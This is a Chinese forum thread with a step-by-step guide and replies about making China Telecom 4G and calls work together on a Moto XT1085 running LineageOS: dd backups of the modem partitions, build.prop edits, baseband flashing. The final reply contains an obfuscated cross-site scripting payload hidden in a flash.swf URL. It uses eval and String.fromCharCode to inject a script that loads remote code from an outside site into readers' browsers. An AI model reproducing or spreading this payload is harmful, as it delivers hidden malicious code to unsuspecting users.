easyteacher 发表于 2017-2-10 14:32

XT1085(国行)搞定LineageOS电信4G和电话不能共存的问题,完整教程

本帖最后由 easyteacher 于 2017-2-10 16:43 编辑

电信用户无人权。如果你的手机出现“没有服务|中国电信”或只能用LTE上网而无法打电话时,你可以继续往下看。

比如:

1. 首先你需要刷回国行官方原版5.1系统并应用所有更新(安全补丁到2016-08-01),此时电信4G和电话应能正常工作。
http://bbs.ihei5.com/thread-345601-1-1.html
卡刷SuperSU,获得ROOT权限后,备份modemst1和modemst2
先用adb工具包,获取对应的分区号码,一定要注意分区号

adb shell ls -la /dev/block/platform/msm_sdcc.1/by-name/会看到如下分区
lrwxrwxrwx 1 root root21 1970-01-02 05:12 modemst1 -> /dev/block/mmcblk0p18
lrwxrwxrwx 1 root root21 1970-01-02 05:12 modemst2 -> /dev/block/mmcblk0p19不同机器分区号可能不一样 ,注意最后面的数字。备份成功后会在sd卡根目录生成2个img文件
备份(注意sdcard目录):
adb shell
su
dd if=/dev/block/mmcblk0p18 of=/storage/emulated/0/modemst1.img
dd if=/dev/block/mmcblk0p19 of=/storage/emulated/0/modemst2.img
备份完后就可以刷新ROM了。之后刷其他ROM的时候就无须再备份。

2.修改/system/build.prop
在build.prop最后新建一行,添加下面的内容
telephony.lteOnCdmaDevice=1
ro.cdma.home.operator.numeric=46003
ro.telephony.default_cdma_sub=0
其中第一行是必须加入的,否则移动网络设置界面会无限崩溃。

3.刷国行基带(无论之前有没有刷过基带)
fastboot flash modem NON-HLOS.bin
fastboot flash fsg fsg.mbn
4.还原modemst1,modemst2
还原

adb shell
su
dd if=/sdcard/modemst1.img of=/dev/block/mmcblk0p18
dd if=/sdcard/modemst2.img of=/dev/block/mmcblk0p19如果出现无SIM卡的情况,重启,然后重复3,4步骤,可以恢复到“没有服务|中国电信”。

5.设置首选网络类型
在移动网络设置里,首选网络类型先选择3G,此时应出现3G信号且能够拨打电话,且设置里多了“系统选择”“CDMA订阅”两个选项。
再切换到LTE,开关飞行模式后,即可使用电信4G,且正常通话。


此方法我已经反复刷机重试了两次,可以稳定出4G,稳定通话。无需设置preferred_network_mode1或4636(事实上这两个设置对于最新版LineageOS来说一点用也没有)。

meakawa 发表于 2017-12-3 00:35

有备份好的么?不想刷底包

leedet 发表于 2017-2-10 14:55

请问有国行官方原版5.1的刷机包么?

easyteacher 发表于 2017-2-10 16:43

leedet 发表于 2017-2-10 14:55
请问有国行官方原版5.1的刷机包么?

http://bbs.ihei5.com/thread-345601-1-1.html

落木萧瑟 发表于 2017-2-10 19:21

感谢分享。

leedet 发表于 2017-2-10 19:56

已经测试了,确实可行,但是有一个问题就是不能换卡,换了卡就无效了!

easyteacher 发表于 2017-2-10 20:10

leedet 发表于 2017-2-10 19:56
已经测试了,确实可行,但是有一个问题就是不能换卡,换了卡就无效了!

换卡后系统会显示什么?没有信号吗?

180度倒置 发表于 2017-2-11 22:48

看看 看看!@!!

87929574 发表于 2017-2-13 17:13

看不懂啊,怎么备份啊,adb命令输进去没有反应啊

easyteacher 发表于 2017-2-13 17:32

87929574 发表于 2017-2-13 17:13
看不懂啊,怎么备份啊,adb命令输进去没有反应啊

先输入adb shell
再输入两次su
再输入shell后面的命令就可以了。
有些adb会有这样的问题。

minzhi5255 发表于 2017-2-13 21:33


看不懂啊,怎么备份啊





http://localhost/flash.swf?'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+'
页: [1] 2
查看完整版本: XT1085(国行)搞定LineageOS电信4G和电话不能共存的问题,完整教程